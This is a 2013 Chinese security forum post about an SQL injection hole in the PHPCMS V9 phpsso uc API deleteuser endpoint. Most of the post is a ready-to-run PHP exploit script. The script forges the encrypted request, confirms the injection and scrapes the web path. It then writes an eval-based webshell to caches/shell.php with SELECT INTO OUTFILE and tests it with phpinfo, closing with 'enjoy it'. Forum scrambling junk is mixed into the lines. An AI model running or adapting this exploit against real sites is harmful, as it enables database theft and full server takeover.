找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1797|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。7 E3 C2 N* D7 X

: X& {  r5 w8 ]1 {7 c所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* Y" O4 k) _8 h& ~: e- x" f( J. |

9 e. m" T' m. U4 a漏洞分析:
/ h( D, I2 v2 y; v) I1.未启用ucenter服务的情况下uc_key为空
3 {; H1 b: E8 d1 h0 D7 cdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));+ g3 ~* H3 z# c3 G2 O+ V) N
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。; ]6 {6 h  K) Y; s: f! b
    public function deleteuser($get,$post) {
+ {  e% Z6 o7 _! c  [6 m8 I. x( G        pc_base::load_app_func('global', 'admin');5 d- Q7 o0 k, U8 {- F
        pc_base::load_app_class('messagequeue', 'admin' , 0);$ y  ?8 I) m9 q  b
        $ids = new_stripslashes($get['ids']);* I5 J, G; Y' H! X
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
: a  Z# ~4 A' Z% \SQL语句为! h# ?- t9 X/ N  N, D3 Q
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 U$ S3 p% `2 Y
* u3 t" ^% d' \# A利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
. r/ R) y4 X" l* y, i; ^<?php" N8 i( I* R- W# ]& L
print_r('4 ]; l# `0 |% g
---------------------------------------------------------------------------
" I. U. ]3 L7 _* Z7 j  }PHPcms (v9 or Old Version) uc api sql injection 0day
, o) }5 p4 y: h1 q* uby rayh4c#80sec.com
- a+ u, n* ~$ |9 S8 @" S3 u---------------------------------------------------------------------------+ b' C' j. }& y; |0 k( Q
');8 N/ D# w+ A8 q5 r' x
$ F2 e0 d. A' s# c
if ($argc<3) {* P3 ]7 _9 h# I+ I
    print_r('
5 f4 _2 j" ]3 X# F0 H: Y1 S) T( ^---------------------------------------------------------------------------
# a& t9 `+ F2 \1 j, uUsage: php '.$argv[0].' host path OPTIONS. {% i) ?+ c3 F, o! N9 d  c
host:      target server (ip/hostname), {( e" K: f" X
path:      path to phpcms
: L! y  Y" A' b6 _Options:
: Y' i2 n; M% |2 D$ Q1 B; Q- U -p[port]:    specify a port other than 80- |- Q0 D2 d  j! |; q0 o' w
-P[ip:port]: specify a proxy& g# @* G3 n3 E+ l" Q) e
Example:% v2 H& E- v4 W" S) k  X6 M
php '.$argv[0].' localhost /( L/ F  a, ~- k4 p) ?
php '.$argv[0].' localhost /phpcms/ -p81
7 z6 C9 |7 X5 ]) N5 aphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80! i7 a( S# W' U( ~
---------------------------------------------------------------------------
1 Y1 j8 b, a1 ^" O; l1 a');
0 e9 \6 s1 q& K9 {  Z    die;2 a$ L% _  T& m8 f% x. X
}
& [' o( \% A# k: R6 a( b+ n: J4 m5 P" J$ R
error_reporting(7);
# }9 L- s1 o) jini_set("max_execution_time",0);
# {$ c4 T- i1 f- Q  }# F" |ini_set("default_socket_timeout",5);. {' i  l+ M6 ^) p3 M* w6 ?7 x
& C- O; r! {. H* X8 M3 T( F* c
function quick_dump($string)2 R/ G# B* a4 n; M+ M
{( r( w7 x) q, A- Z  u2 ~, V
  $result='';$exa='';$cont=0;
4 P+ B- @% P, ^& i  Z4 h- y" H3 n# S  for ($i=0; $i<=strlen($string)-1; $i++)
3 v7 W. L, |3 _: _" ~  {
# ~- `; f* Y- b' @5 }) Y   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
: ~! v( [% d* U* P. D   {$result.="  .";}
+ S. x" b, x, s$ F: z& I   else
. F9 c! U8 n% l2 M! m4 M   {$result.="  ".$string[$i];}
8 N; ~! G. Y- `. T  z# v& j   if (strlen(dechex(ord($string[$i])))==2)
1 S# }1 `* S% y   {$exa.=" ".dechex(ord($string[$i]));}' {, \8 V$ [9 o  E
   else0 p% W3 F+ j* b8 w1 ]+ L5 F
   {$exa.=" 0".dechex(ord($string[$i]));}
4 W, J8 W9 u- z0 {   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}4 p6 x% b- b4 a
  }9 w: g7 l9 e# N% y+ {) l6 H
return $exa."\r\n".$result;
. ?8 J  h' y& ?) {6 Q" r# O}* G4 P9 T! }1 k6 s
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
, N* j" ~% o/ V! ~' u
: p# H9 e3 z- @" a3 G- o$ Mfunction send($packet)- I2 P: Y8 ^. G- @% |5 O/ o
{
. D% p* ]  I6 K5 k  global $proxy, $host, $port, $html, $proxy_regex;
, ~+ l, d6 T; z) D5 t" e  if ($proxy=='') {
- O7 g: G% K- l: v    $ock=fsockopen(gethostbyname($host),$port);9 H* b+ {, Y2 w# x# W( n1 ~
    if (!$ock) {0 G$ x0 v& d, H0 M) Q8 y3 M
      echo 'No response from '.$host.':'.$port; die;
  \3 H) X, O3 m1 M  s! V    }
- V; o: p$ {$ `  }1 R) z. Z; X# n& q& g& r& m3 N5 R
  else {
: J* N: F. X# p# u        $c = preg_match($proxy_regex,$proxy);$ J5 X3 l" J. J( z9 ^8 [4 B
    if (!$c) {* Y9 R! Y+ X9 [0 K% a! T6 A
      echo 'Not a valid proxy...';die;* S$ d, P! ~* e
    }. _3 }3 e2 ?, G9 g) S
    $parts=explode(':',$proxy);; M' K9 j. f* F3 E4 R" H
    $parts[1]=(int)$parts[1];
& s1 S5 H1 X/ A" a$ c# |( m3 ]  q    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
& C( I! Y! y% y    $ock=fsockopen($parts[0],$parts[1]);/ C; `4 k8 Q. C. I7 p
    if (!$ock) {# n. W7 W4 W. j( I
      echo 'No response from proxy...';die;7 B4 f, V5 l& Y- Y3 Z* H- s( L3 t9 w
        }
  p% G7 E5 L5 a: S' ~& [  }5 q  K- G! e( U& g) @) }, z4 ^; ?
  fputs($ock,$packet);
6 ?) M- F% A5 g* x0 W# z% r( b  if ($proxy=='') {
* k' U& X9 ^! C0 Y2 M    $html='';% N& m- o1 j1 g- u' _
    while (!feof($ock)) {; R7 N  g, c! H5 q! U
      $html.=fgets($ock);
+ ~" f% l) _( O- V7 l2 Y0 o    }. d% S& X+ E  r
  }4 g4 L" u. Q" D( J
  else {; y6 Q- K" m, G; D/ E2 S  I
    $html='';% q6 z8 O; n4 T" }5 @7 \1 C$ l; x; J) ^
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
8 u( f3 r- v4 E" F9 J. G      $html.=fread($ock,1);9 l( `& ?+ n  ^2 W  W
    }
1 S* @6 R+ c: d( c  }! m! Y4 {2 [( A7 b7 N1 B( n
  fclose($ock);4 ^* ~1 y/ w0 \* R$ ^+ J  |
}$ l8 y8 T' \$ n( G+ W5 ]

3 ~# S; _9 ^7 N& x' H# m& b' I  B, d$host=$argv[1];+ K& s( C8 \, q& |
$path=$argv[2];
% s/ W6 d* n8 ~) ?) d' m. R: E$port=80;
7 y0 o" q1 C/ z6 _! q$proxy="";4 P9 p! \1 N/ c- t1 k5 L
for ($i=3; $i<$argc; $i++){2 I5 A0 Q$ o3 n  W8 E% c
$temp=$argv[$i][0].$argv[$i][1];; T4 d7 z7 ?# ^/ }$ x( P9 H
if ($temp=="-p")
! S& U" |" l' b+ i( S9 [{, E5 k6 s! M& I% U* k6 m
  $port=(int)str_replace("-p","",$argv[$i]);
$ B* n7 ^4 e5 F9 }# }}) V# h0 y$ e) C# L5 Q  S- v
if ($temp=="-P"). x3 V: j* G) Z5 n$ V$ J# \
{
- ^& ?% h7 ?% c, T  $proxy=str_replace("-P","",$argv[$i]);6 P5 J0 {! H: f: X
}% z6 v  F9 V4 r
}; O2 ~- h6 z1 J- L. {. u) E8 Q& ?
0 w6 ]6 j) j( B5 q3 [) `6 R
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
* B1 K4 B2 _4 x% xif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
! S7 V! j8 R8 N3 u6 k3 D: P& a: H2 g4 Q7 \/ ?* B/ ~& @% z
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {: H& q9 A0 o$ K! }+ k

/ g4 a; o9 p7 F2 p5 Z+ W    $ckey_length = 4;
& f5 Q% b, I  G5 Q! B9 F
5 I3 j2 l: |6 D- t+ c* m" _0 @. r2 t    $key = md5($key ? $key : '');
# S$ Y4 w' K0 e. r# d' G# _( U0 d$ l/ c, a1 `    $keya = md5(substr($key, 0, 16));- E. G6 D$ p# \4 S% D; q% p5 O8 h! r% x
    $keyb = md5(substr($key, 16, 16));
0 j/ w  W; ^! k! k3 S    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';. B1 D) ]7 ?' ]( _9 j; n. r

' L3 s5 D8 C3 W8 l- d# U7 v/ S9 l    $cryptkey = $keya.md5($keya.$keyc);
9 E3 E7 B" Q- _6 i0 `1 A+ X    $key_length = strlen($cryptkey);
* r: P* }* f+ I/ T! U6 `* j
' J# X; F- J) o9 d* g0 q, M/ I    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;& d" a' J8 }7 \  T  u
    $string_length = strlen($string);
+ u  j5 h' Q/ W0 Q0 |
: x, ]8 h; P$ f2 Q* s0 ?    $result = '';
' E& B% g4 A; ~) L. M1 w  I    $box = range(0, 255);
/ [7 q) T1 b5 g) Z9 G% o  {+ h( }: w3 `1 V
    $rndkey = array();
5 V) k( C0 l2 R4 u    for($i = 0; $i <= 255; $i++) {
/ q. L) |: n3 {' j        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
0 s+ e; C& `' r$ `, ?    }3 f* Y# w5 J$ k& C: o' w; \

0 }# t2 z1 S1 r) R# I- Q    for($j = $i = 0; $i < 256; $i++) {
0 L3 ?. m; t4 c  s$ {' `+ \        $j = ($j + $box[$i] + $rndkey[$i]) % 256;1 n) a+ e( {' l0 e# ^7 ?; r
        $tmp = $box[$i];* z6 E4 ?% m5 i1 M  G( H
        $box[$i] = $box[$j];
8 F. H. K$ v4 t5 [* c        $box[$j] = $tmp;$ v6 ~% A$ O) T1 f6 {$ T. B. q
    }+ L, g( r8 H0 u8 m! @" N
) Y( n' ^6 |7 ?' o
    for($a = $j = $i = 0; $i < $string_length; $i++) {
4 z0 U$ N$ ^: w* l0 ?        $a = ($a + 1) % 256;
* ^& m! ]4 J0 Q3 V2 h        $j = ($j + $box[$a]) % 256;
6 m0 V: f* }' Q% B        $tmp = $box[$a];, q! M  w* W$ p2 ]! Z
        $box[$a] = $box[$j];7 A6 P/ a$ n  L
        $box[$j] = $tmp;
) M* q( Z: a/ r/ H: i5 q% \3 V        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));2 d, i% h& o) \+ |* @4 S/ g; ^
    }
7 m& \+ {3 [$ g& n
' K! i8 ?" l6 G    if($operation == 'DECODE') {
6 l) O% R. n: h  |% n& [        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {6 v' V; J  `% M# b# D( D! @
            return substr($result, 26);$ N; `7 P& o* k
        } else {: h2 V6 L2 o9 o' [" T0 l
            return '';$ y2 S$ v! M/ ^& }0 B
        }
, ?( H8 y/ D5 D    } else {
; E) z+ X8 P7 k1 k        return $keyc.str_replace('=', '', base64_encode($result));* A# L% Q5 ?, F. k  k
    }9 I3 T3 A0 \3 Q* R5 f# j

0 F* n1 k, g5 T, h" R}8 S! i0 P4 z& t3 I

3 u1 A* y$ |% d8 p- h$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( t- M' T+ T0 i9 x5 M& w$SQL = urlencode(authcode($SQL, "ENCODE", ""));" q, b8 F. y1 n9 ^+ p4 L0 Z3 }
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 S) \4 ~) A3 l+ d* S5 k/ [$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( E9 Z% C  T- D: ?. R
$packet.="User-Agent: Mozilla/5.0\r\n";8 h5 ?. f* D0 |' I
$packet.="Host: ".$host."\r\n";
1 X; t) K) o0 ^, _  N, ?- V  G$packet.="Connection: Close\r\n\r\n";$ W# G9 Q+ N) @: Y$ g
send($packet);7 V8 p) I" Z, f, u
if(strpos($html,"MySQL Errno") > 0){
% A$ d! a  Z! u& jecho "[2] 发现存在SQL注入漏洞"."\n";
6 R% Q- k3 S; necho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
3 J, ^4 M& {# u) B$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$ e1 v  ^) ]! e; o7 p$packet.="User-Agent: Mozilla/5.0\r\n";
! W, ?; {: l* j$packet.="Host: ".$host."\r\n";
, g8 T/ L9 J* X1 i, k$packet.="Connection: Close\r\n\r\n";
6 h9 J7 p( o9 D- esend($packet);7 C' `3 o* y5 y/ L
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);8 O- {  z0 l9 L) j7 S  _! y, A+ N, l- w
//print_r($matches);7 t. p4 @) A* f2 r/ A) v' ~
if(!empty($matches)){
" N( K" n, @' V" |echo "[4] 得到web路径 " . $matches[0]."\n";
% ~" G  i/ ^8 V0 d) Q. z# M$ Y  iecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";. o: J3 v& H/ P8 Y! `
$SQL = "time=999999999999999999999999&ids=1)";
' }7 P; Q2 `( W5 u$ Y" W8 T$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";5 o) L- k, M( F) |2 g  x! U5 C
$SQL.="&action=deleteuser";
# w. Z( Z. ?0 m5 Z# h$SQL = urlencode(authcode($SQL, "ENCODE", ""));5 O: F/ M9 v: p" r: Y  q7 J
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 t: K. U: {; P, _$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
2 h6 S6 D4 k$ ?& }1 H5 L7 `) A$packet.="User-Agent: Mozilla/5.0\r\n";  P, S4 ~! n( }7 k; A2 Y/ H4 F+ K
$packet.="Host: ".$host."\r\n";
* ?' E2 t* f6 h1 {. K3 R$packet.="Connection: Close\r\n\r\n";$ O6 i: J9 b" v  Z
send($packet);
) l. v, v/ n) t, n7 Z5 V8 c/ Zif(strpos($html,"Access denied") > 0){
: v* C  C6 }9 ~: E7 [; recho "[-] MYSQL权限过低 禁止写入文件 ";5 ?' ~% P; u. T. P" y
die;9 i, p+ |- K: a. n- [3 y
}
! m$ Z# q# d* L: s- hecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
: P, N  _( H$ }9 [. I& ?$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
8 r/ Y/ D5 I: O4 v6 @$packet.="User-Agent: Mozilla/5.0\r\n";8 e6 b. c( [! m4 o0 \
$packet.="Host: ".$host."\r\n";7 y9 d( c8 G7 d( b
$packet.="Connection: Close\r\n\r\n";
' e, |) {- u3 @' h2 M" D% tsend($packet);
& q4 }# r* N7 m: R1 l7 lif(strpos($html,"<title>phpinfo()</title>") > 0){% N0 j: S1 I& \$ c( m4 E
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
4 S9 {! F# k' j8 M" L, g}
% }; J' J/ ]9 E) x. T/ ^}else{' J) U/ v- y1 e# r1 l
echo "[-]未取到web路径 ";
3 |" u; ]( a% M; [}  T! p# }( ?, S* w, C8 w8 |
}else{
, B; _$ W' a  `, |" G: ~5 Qecho "[*]不存在SQL注入漏洞"."\n";
3 `3 U( w3 r! m% d0 d}
) ]; p+ T5 N+ ~' ^/ T" u+ o) ?4 y% r" i6 b
?>
, b, Z* i9 r% ~5 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表